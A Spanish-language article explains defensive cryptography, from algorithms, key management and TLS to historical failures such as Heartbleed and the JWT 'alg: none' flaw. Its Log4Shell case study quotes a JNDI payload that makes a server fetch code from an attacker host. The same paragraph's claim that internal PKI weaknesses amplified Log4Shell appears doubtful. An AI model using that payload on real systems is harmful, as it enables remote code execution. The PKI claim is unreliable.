Criptografía Defensiva: Cómo Protege Sistemas, Datos e Identidades

La criptografía no es solo matemática: es la última línea de defensa

Cuando un sistema falla —y todos fallan en algún momento— la criptografía es el mecanismo que determina si el atacante que logró entrar obtiene algo de valor. Una base de datos comprometida con registros cifrados correctamente es un hallazgo inútil; una comprometida con hashes MD5 sin sal y contraseñas en claro es una catástrofe reputacional y legal. La diferencia entre los dos escenarios no está en el firewall, ni en el IDS, ni en los controles perimetrales: está en las decisiones de diseño criptográfico que alguien tomó —o no tomó— años antes del incidente.

Este artículo trata la criptografía desde el ángulo que más importa en operaciones de seguridad: cómo protege, cómo falla y cómo se diseña para que siga funcionando cuando el resto del sistema está bajo presión adversarial.

Fundamentos de seguridad criptográfica

La criptografía defensiva descansa sobre cinco propiedades que deben diseñarse explícitamente; ninguna se obtiene de forma automática por el solo hecho de usar un algoritmo reconocido.

Confidencialidad. Solo el destinatario legítimo puede acceder al contenido. Cifrar no equivale a garantizar confidencialidad si las claves son accesibles, si el canal de distribución de claves es vulnerable o si el algoritmo tiene debilidades conocidas. El cifrado es un componente; la confidencialidad es una propiedad del sistema completo.

Integridad. El dato recibido es idéntico al dato enviado, sin alteraciones en tránsito o en reposo. Las funciones hash y los MACs son los mecanismos típicos. Un sistema que cifra sin autenticar —por ejemplo, AES-CBC sin un MAC asociado— protege la confidencialidad pero no la integridad, lo que abre la puerta a ataques de manipulación sobre el texto cifrado.

Autenticidad. La entidad que afirma ser el origen es efectivamente el origen. Las firmas digitales y los certificados de PKI materializan esta propiedad. Sin autenticidad, la confidencialidad es hueca: datos cifrados para alguien que no es quien dice ser no están protegidos.

No repudio. El emisor no puede negar haber enviado un mensaje. Las firmas digitales con clave privada —que solo el firmante posee— son el mecanismo estándar. Es la propiedad que convierte una transacción digital en evidencia jurídicamente válida.

Resiliencia criptográfica. La capacidad del sistema de mantener sus garantías ante el compromiso parcial de componentes: rotación de claves, forward secrecy para proteger sesiones pasadas, diversidad de algoritmos para no concentrar el riesgo en una sola familia. Un sistema criptográficamente resiliente no colapsa cuando un algoritmo queda obsoleto; tiene una ruta de migración planificada.

Componentes criptográficos esenciales

Cifrado simétrico

Un único secreto compartido cifra y descifra. La eficiencia es su virtud —órdenes de magnitud más rápido que el cifrado asimétrico— y la distribución del secreto es su problema central.

AES-GCM es el estándar moderno: cifrado por bloques en modo Galois/Counter que combina cifrado y autenticación en una sola operación, garantizando confidencialidad e integridad simultáneamente. AES-256-GCM con un nonce de 96 bits y una etiqueta de autenticación de 128 bits es la configuración de referencia. ChaCha20-Poly1305 es la alternativa preferida en entornos sin aceleración hardware para AES (dispositivos móviles, microcontroladores), con garantías equivalentes.

Lo que no debe usarse: DES (clave de 56 bits, rompible en horas con hardware moderno), 3DES (vulnerable a SWEET32, retirado por NIST en 2023), RC4 (sesgos estadísticos documentados, prohibido en TLS desde 2015), y AES en modo ECB (no oculta patrones en el texto plano).

Cifrado asimétrico

Par de claves matemáticamente relacionadas: lo que se cifra con la pública solo puede descifrarse con la privada, y viceversa. Resuelve el problema de distribución del secreto, pero a un costo computacional que lo hace inviable para grandes volúmenes de datos.

En la práctica, el cifrado asimétrico no cifra datos directamente: cifra la clave simétrica que sí cifra los datos. Este patrón —hybrid encryption— es el que usa TLS, PGP y prácticamente todo sistema de cifrado moderno.

RSA sigue siendo ampliamente usado para firmas y cifrado de claves, aunque sus claves deben ser de al menos 2048 bits hoy y 3072 bits para nuevos despliegues con horizonte de 10 años. ECDSA y ECDH sobre curvas como P-256 o X25519 ofrecen seguridad equivalente con claves mucho más cortas y operaciones más rápidas. Ed25519 es la firma de referencia en protocolos modernos: rápida, resistente a implementaciones incorrectas de nonce y sin parámetros de curva que puedан manipularse.

Funciones hash criptográficas

Una función hash toma una entrada de longitud arbitraria y produce una salida de longitud fija (el digest) con tres propiedades: resistencia a preimagen (no se puede obtener la entrada del digest), resistencia a segunda preimagen (dado un input, no se puede encontrar otro con el mismo digest) y resistencia a colisiones (no se pueden encontrar dos inputs con el mismo digest).

SHA-256 y SHA-3 (Keccak) son los estándares actuales. MD5 y SHA-1 están criptográficamente rotos para resistencia a colisiones —SHA-1 tiene una colisión práctica demostrada desde 2017 (SHAttered)— y no deben usarse en contextos de seguridad, aunque MD5 aún es aceptable como checksum no criptográfico de integridad contra corrupción accidental.

BLAKE3 emerge como alternativa de alto rendimiento: más rápida que SHA-256 en software, verificablemente segura, con soporte para derivación de claves incorporado.

Firmas digitales

Una firma digital es el hash del mensaje cifrado con la clave privada del firmante. Cualquiera con la clave pública puede verificar que el hash corresponde al mensaje y que solo el poseedor de la clave privada pudo producir esa firma. Garantiza autenticidad, integridad y no repudio en una sola operación.

El riesgo más común en firmas ECDSA es la reutilización del nonce: si el mismo nonce k se usa en dos firmas distintas, la clave privada puede recuperarse algebraicamente. Este error comprometió la consola PlayStation 3 en 2010 y ha causado pérdidas millonarias en wallets de Bitcoin. Ed25519 elimina el problema usando un nonce determinista derivado del hash del mensaje.

HMAC

Hash-based Message Authentication Code: un MAC que combina la clave secreta con el mensaje mediante una construcción específica sobre una función hash, produciendo un código de autenticación que solo puede verificar quien posee la clave. Es el mecanismo de integridad + autenticidad para canales donde no se requiere no repudio (es simétrico: el verificador también posee la clave y podría haber generado el MAC).

HMAC-SHA256 es la referencia. La comparación del MAC recibido contra el esperado debe hacerse en tiempo constante (hmac.compare_digest en Python, crypto.timingSafeEqual en Node.js) para evitar ataques de temporización.

KDF (Key Derivation Functions)

Una contraseña o secreto de baja entropía nunca debe usarse directamente como clave criptográfica. Una KDF aplica una función computacionalmente costosa —ajustable en costo— que convierte ese secreto en material de clave adecuado y hace los ataques de fuerza bruta financieramente impractiales.

Argon2id (ganador del Password Hashing Competition, 2015) es el estándar actual para derivación de contraseñas: resistente a ataques GPU y ASIC mediante uso intensivo de memoria. scrypt es la alternativa ampliamente soportada. bcrypt es aceptable para sistemas heredados pero tiene limitaciones (trunca a 72 bytes, sin resistencia a memoria). PBKDF2 es el mínimo aceptable cuando no hay opción de las anteriores, con al menos 600.000 iteraciones para PBKDF2-HMAC-SHA256 según las guías actuales de NIST.

Para derivación de subclaves a partir de material de alta entropía (no contraseñas): HKDF (HMAC-based Key Derivation Function, RFC 5869) es el estándar.

PKI (Public Key Infrastructure)

El sistema que da sentido operativo al cifrado asimétrico a escala: una jerarquía de confianza donde las Autoridades de Certificación (CA) firman certificados que vinculan una clave pública a una identidad. Los navegadores, sistemas operativos y clientes TLS tienen preinstalados los certificados raíz de las CA de confianza; cualquier certificado encadenado hasta uno de ellos hereda esa confianza.

La PKI es tan fuerte como sus eslabones más débiles: una CA raíz comprometida compromete la confianza en todos los certificados que emitió. El incidente de DigiNotar en 2011 —una CA holandesa hackeada que emitió certificados fraudulentos para google.com y otros dominios— llevó a la revocación de toda su infraestructura y al colapso de la empresa. La respuesta del ecosistema fue Certificate Transparency (CT): un log público y auditable donde toda CA debe registrar cada certificado emitido, lo que permite detectar emisiones no autorizadas sin depender de que alguien las reporte.

Amenazas y vectores de ataque

Ataques de fuerza bruta y diccionario

La fuerza bruta exhaustiva sobre claves de 128 bits es computacionalmente imposible con la física actual. El verdadero riesgo son las contraseñas débiles, los PINs cortos y las claves generadas con entropía insuficiente. Un generador de números pseudoaleatorios mal sembrado —como el que afectó a algunas versiones de Debian OpenSSL en 2008, que reducía el espacio de claves a ~32.767 valores— convierte el cifrado fuerte en trivialmente rompible.

Los ataques de diccionario contra hashes de contraseñas son el caso más frecuente en brechas reales: los 32 millones de hashes MD5 sin sal filtrados en el breach de RockYou en 2009 se crackearon en su mayoría en horas con hardware de consumo.

Criptoanálisis

Ataques que explotan debilidades matemáticas en el algoritmo. El ataque BEAST (2011) explotó debilidades en el modo CBC de SSL/TLS 1.0 para recuperar cookies de sesión. POODLE (2014) forzó el downgrade a SSL 3.0 para explotar su padding. LUCKY13 explotó diferencias de temporización en el procesamiento de padding de TLS. SWEET32 (2016) demostró ataques de cumpleaños contra cifrados de bloque de 64 bits (3DES, Blowfish) en sesiones largas.

La respuesta a cada uno fue la misma: deprecar el algoritmo o modo vulnerable y migrar. El patrón se repite regularmente —es la naturaleza del campo, no un fallo excepcional— lo que hace de la agilidad criptográfica (capacidad de cambiar algoritmos con impacto operativo mínimo) una propiedad de diseño crítica.

Side-channel attacks

No atacan el algoritmo matemático sino su implementación física: tiempo de ejecución, consumo de energía, emisiones electromagnéticas o incluso sonido. El ataque de temporización más clásico: si la comparación de un MAC termina antes cuando el primer byte no coincide, el atacante puede inferir el valor correcto byte a byte midiendo tiempos de respuesta. Herramientas como Flush+Reload explotan la caché de CPU para extraer claves AES de procesos que comparten hardware. Los ataques Spectre y Meltdown de 2018 demostraron que los límites de proceso en hardware compartido son más porosos de lo que se asumía.

Ataques a PKI

Certificados fraudulentos: una CA comprometida o negligente puede emitir certificados para dominios que no controla. Los navegadores modernoson confían en Certificate Transparency para detectarlos. Revocación rota: CRL (listas de revocación) y OCSP suelen estar desactivados o ignorarse en la práctica por impacto en rendimiento; OCSP Stapling y CRLite son las soluciones modernas, pero aún no universales. Cadenas de confianza incompletas: servidores que no envían la cadena intermedia completa hacen que clientes sin esa CA en caché falle la validación.

Compromisos de claves y downgrade attacks

Un atacante man-in-the-middle puede intentar negociar la versión más débil de protocolo que ambos extremos acepten. FREAK (2015) forzó el uso de cifrado "export-grade" de 512 bits heredado de regulaciones de los años 90. Logjam (2015) atacó el intercambio Diffie-Hellman con parámetros de 512 bits. La solución fue configurar los servidores para rechazar versiones anteriores de TLS (1.0 y 1.1 están oficialmente deprecadas por IETF desde 2021) y deshabilitar cipher suites débiles.

Buenas prácticas de seguridad criptográfica

Gestión de claves y rotación

Una clave que nunca rota acumula riesgo temporal: cuanto más tiempo se usa, más material cifrado existe que podría desencriptarse si la clave se compromete. Los estándares modernos recomiendan:

• Claves de sesión: nuevas en cada sesión (efímeras), incluso si las claves de largo plazo no cambian.
• Claves de cifrado de datos (DEK): rotación periódica con re-cifrado del material, o cifrado por capas con una clave maestra (KEK) que es la que se rota.
• Certificados TLS: vigencia máxima de 398 días (Apple Safari y Chrome ya rechazan certificados más largos); automatizar la renovación con ACME/Let's Encrypt o similar.
• Secretos de API y tokens JWT: expiración corta, revocación explícita ante sospechas.

Hardware Security Modules (HSM)

Un HSM es un dispositivo físico diseñado específicamente para generar, almacenar y usar claves criptográficas sin que esas claves abandonen nunca el perímetro del hardware. Las operaciones criptográficas ocurren dentro del dispositivo; la aplicación envía datos y recibe resultados, nunca la clave. Los HSM de grado empresarial están validados bajo FIPS 140-2 Nivel 3 o 4 y resisten intentos de extracción física mediante mecanismos de autodestrucción. Para claves de CA raíz, claves maestras de cifrado de bases de datos y claves de firma de código, el HSM no es una opción: es el requisito mínimo.

En entornos cloud, los servicios equivalentes (AWS CloudHSM, Azure Dedicated HSM, Google Cloud HSM) ofrecen garantías similares sin gestión de hardware físico, aunque con modelos de confianza que deben auditarse para cada caso de uso.

TLS moderno y forward secrecy

La configuración TLS mínima aceptable en 2026:

• Versión: TLS 1.3 obligatorio; TLS 1.2 como mínimo de compatibilidad solo donde sea imprescindible.
• Cipher suites TLS 1.3: TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256. En TLS 1.3 los cipher suites son obligatoriamente AEAD; la negociación de suites débiles no es posible por diseño.
• Forward secrecy: TLS 1.3 la garantiza por defecto mediante intercambio efímero (ECDHE). En TLS 1.2 debe configurarse explícitamente rechazando cipher suites RSA estáticas.
• HSTS: cabecera Strict-Transport-Security con max-age de al menos 1 año y includeSubDomains.
• Certificados: ECDSA P-256 o RSA 2048+ con CT logging obligatorio.

Herramienta de referencia para auditar: SSL Labs Server Test y testssl.sh para validación en CI/CD.

Almacenamiento seguro de secretos

Los secretos —claves de API, credenciales de base de datos, tokens— nunca deben vivir en código fuente, archivos de configuración en texto plano ni variables de entorno sin cifrar en producción. La cadena de custodia correcta:

1. Secret manager centralizado (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) con rotación automática, auditoría de acceso y políticas de mínimo privilegio.
2. Inyección en runtime mediante sidecar o agent del secret manager, no mediante variables de entorno en el manifiesto de despliegue.
3. Rotación automática con propagación a todos los sistemas que consumen el secreto antes de revocar la versión anterior.

Patrones de seguridad donde la criptografía es esencial

Zero-Trust

El modelo zero-trust reemplaza la confianza implícita por red por verificación explícita continua: cada acceso se autentica, autoriza y cifra independientemente del origen. La criptografía materializa tres de sus pilares: mTLS (TLS mutuo) para autenticación de servicios, tokens JWT o SPIFFE/SVID firmados para identidad de carga de trabajo, y cifrado en tránsito entre cada par de microservicios incluso dentro del datacenter.

Autenticación multifactor y WebAuthn

Las contraseñas son secretos que el usuario conoce y que el servidor almacena —aunque sea en forma de hash— creando un activo de alto valor y alta superficie de ataque. FIDO2/WebAuthn elimina el secreto compartido: el autenticador (clave de seguridad física, biometría del dispositivo) genera un par de claves por servicio; la clave privada nunca abandona el dispositivo; el servidor solo almacena la clave pública. No hay nada que robar del lado del servidor y no hay contraseña susceptible de phishing.

Federación de identidad y JWT

En arquitecturas de microservicios y federación de identidad (OAuth 2.0 + OIDC), los tokens JWT transportan afirmaciones sobre la identidad del usuario firmadas por el proveedor de identidad. Los errores más frecuentes:

• Aceptar el algoritmo none (tokens sin firma) porque el código no valida el campo alg del header antes de verificar.
• Usar HS256 (simétrico) en sistemas donde el verificador no debería conocer el secreto de firma — correcto solo cuando emisor y verificador son el mismo sistema.
• No validar iss, aud y exp, lo que permite reutilizar tokens de otros contextos o expirados.
• Tamaño excesivo por incluir datos sensibles en el payload, que es solo Base64, no cifrado.

Seguridad en APIs y microservicios

mTLS entre microservicios garantiza que solo componentes con certificado válido emitido por la CA interna (tipicamente gestionada por una service mesh como Istio o Linkerd) pueden comunicarse. Combinado con políticas de autorización por identidad de servicio (SPIFFE), elimina el lateral movement dentro del cluster incluso si un pod es comprometido.

Para APIs expuestas externamente: TLS 1.3, validación estricta de certificados de cliente donde aplique, tokens de acceso de corta duración con firma asimétrica (RS256/ES256), y rate limiting criptográfico mediante HMAC en cabeceras para clientes API conocidos.

Errores comunes y cómo evitarlos

Cifrado sin autenticación. AES-CBC sin MAC no protege la integridad: el atacante puede manipular el texto cifrado de forma predecible sin conocer la clave (bit flipping attacks). Regla: siempre usar modos AEAD (GCM, CCM, ChaCha20-Poly1305) o complementar el cifrado con HMAC sobre el texto cifrado (Encrypt-then-MAC).

Reutilización de IVs y nonces. En AES-GCM, reutilizar el mismo nonce con la misma clave destruye completamente la confidencialidad y la autenticación: el atacante puede recuperar el keystream y falsificar mensajes. Los nonces deben ser únicos por operación; lo más seguro es generarlos aleatoriamente de 96 bits (probabilidad de colisión negligible en menos de 2^32 operaciones con la misma clave).

Claves débiles y entropía insuficiente. Generar claves con rand() en lugar de un CSPRNG, sembrar el generador con la hora del sistema, o usar contraseñas derivadas directamente sin KDF. En sistemas criptográficos, la entropía del generador es la base de toda la seguridad: usar siempre /dev/urandom o su equivalente del sistema operativo, o las APIs criptográficas del lenguaje (secrets en Python, crypto.randomBytes en Node.js).

Algoritmos obsoletos en producción. Sistemas que aún usan MD5 para verificación de integridad de software, SHA-1 en certificados de PKI internos o RSA-1024 en claves de firma. El argumento "es solo para uso interno" no mitiga el riesgo: un atacante que compromete la red interna encontrará esos eslabones débiles.

Almacenamiento de contraseñas en texto plano o con hashes rápidos. bcrypt con factor de costo 10 tarda ~100ms en un servidor; SHA-256 sin sal tarda microsegundos. Esa diferencia es la que hace inviable el cracking masivo en el primer caso y trivial en el segundo. LinkedIn (2012): 117 millones de hashes SHA-1 sin sal. Dropbox (2012): 68 millones de hashes bcrypt —recuperados en proporción mínima. El contraste es definitivo.

Ignorar la revocación de certificados. Un certificado comprometido sigue siendo válido criptográficamente hasta su expiración si la revocación no se propaga y verifica correctamente. Implementar OCSP Stapling, monitorizar CT logs para detectar certificados no autorizados, y tener un proceso de respuesta de compromiso de certificados con tiempo de respuesta menor a una hora.

Casos reales de fallos criptográficos

Debian OpenSSL (2008). Un parche aplicado por el equipo de Debian para eliminar una advertencia de Valgrind eliminó accidentalmente la única fuente de entropía del generador de números aleatorios de OpenSSL. Durante dos años, todas las claves generadas en Debian y derivados (Ubuntu) tenían un espacio efectivo de ~32.767 valores. Claves SSH, certificados SSL y claves de VPN generadas en ese período debieron reemplazarse globalmente.

Heartbleed (2014). CVE-2014-0160. Un error de validación de longitud en la extensión Heartbeat de OpenSSL permitía leer hasta 64KB de memoria del proceso del servidor con una sola petición malformada, repetible indefinidamente. Claves privadas, tokens de sesión y contraseñas en memoria eran accesibles. Afectó al estimado 17-24% de los servidores HTTPS del mundo. El impacto duró años porque la respuesta correcta —revocar y regenrar certificados y claves— requería coordinación masiva que muchos operadores no completaron.

JWT "alg: none" (2015). Múltiples librerías JWT aceptaban tokens con el campo algorithm establecido en "none", omitiendo la verificación de firma. Un atacante podía modificar el payload (cambiar "role": "user" por "role": "admin") y presentar el token sin firma como válido. Auth0, biblioteca python-jwt, y otras se vieron afectadas. La corrección correcta: validar siempre el algoritmo contra una lista de permitidos en el servidor, no confiar en el que indica el token.

Log4Shell y la PKI interna (2021). CVE-2021-44228. El payload ${jndi:ldap://attacker.com/a} en cualquier campo logueado por Log4j provocaba que el servidor descargara y ejecutara código remoto. El vector de ataque en muchos entornos corporativos usó servidores LDAP internos cuyos certificados no estaban correctamente validados, permitiendo ataques MITM sobre la descarga del payload. Una PKI interna mal gestionada amplificó el impacto de una vulnerabilidad que de otro modo habría sido más contenible.

Claves privadas en wallets de Ethereum (recurrente). Generadores de claves con entropía insuficiente —incluidos servicios web que generaban wallets en el servidor o implementaciones móviles con semillas predecibles— han permitido el robo de fondos mediante escaneo sistemático del espacio de claves débiles. El proyecto "Milk Sad" (2023) identificó miles de wallets con claves generadas por la librería Libbitcoin Explorer con entropía reducida, con pérdidas superiores a 900.000 USD.

Checklist de defensa criptográfica

Área	Control	Estado mínimo
Algoritmos	Solo algoritmos aprobados	AES-256-GCM, ChaCha20-Poly1305, SHA-256/SHA-3, Ed25519, X25519
Contraseñas	KDF con costo ajustable	Argon2id (m=64MB, t=3, p=4) o scrypt
Transporte	TLS moderno	TLS 1.3, HSTS, OCSP Stapling, CT
Claves	Almacenamiento seguro	HSM o secret manager con auditoría
Rotación	Automática y documentada	Claves de sesión efímeras; DEK con rotación periódica
Firmas	Nonce seguro	Ed25519 o ECDSA con nonce aleatorio de 256 bits
JWT	Validación estricta	Validar alg, iss, aud, exp; lista blanca de algoritmos
Entropía	CSPRNG del SO	/dev/urandom, secrets, crypto.randomBytes
Certificados	PKI y CT monitoring	Vigencia ≤398 días, revocación funcional, CT log verificado
Incidentes	Plan de compromiso	Proceso de revocación + rotación en <1 hora

Conclusión: la criptografía como activo estratégico

La criptografía defensiva no es un checklist que se completa una vez; es una disciplina de ingeniería en evolución continua. Los algoritmos que son seguros hoy pueden quedar obsoletos en cinco años —SHA-1 lo fue, RSA-512 lo fue, WEP lo fue— y la computación cuántica presionará los sistemas basados en factorización y logaritmo discreto en un horizonte que los expertos estiman entre diez y veinte años, tiempo más que suficiente para planificar una migración, pero insuficiente si la organización no comienza a prepararse.

El NIST ya ha estandarizado los primeros algoritmos post-cuánticos: ML-KEM (antes Kyber) para encapsulación de claves y ML-DSA (antes Dilithium) para firmas digitales. Los sistemas que se diseñen hoy con agilidad criptográfica —capaces de intercambiar el algoritmo sin rediseñar la arquitectura— sobrevivirán esa transición con un costo operativo bajo. Los que no lo hagan pagarán el precio de la deuda técnica en el momento menos oportuno.

La criptografía bien aplicada es invisible para el usuario y devastadora para el atacante. Esa asimetría es exactamente lo que un equipo de seguridad necesita: que el sistema siga siendo defendible incluso cuando todo lo demás falla.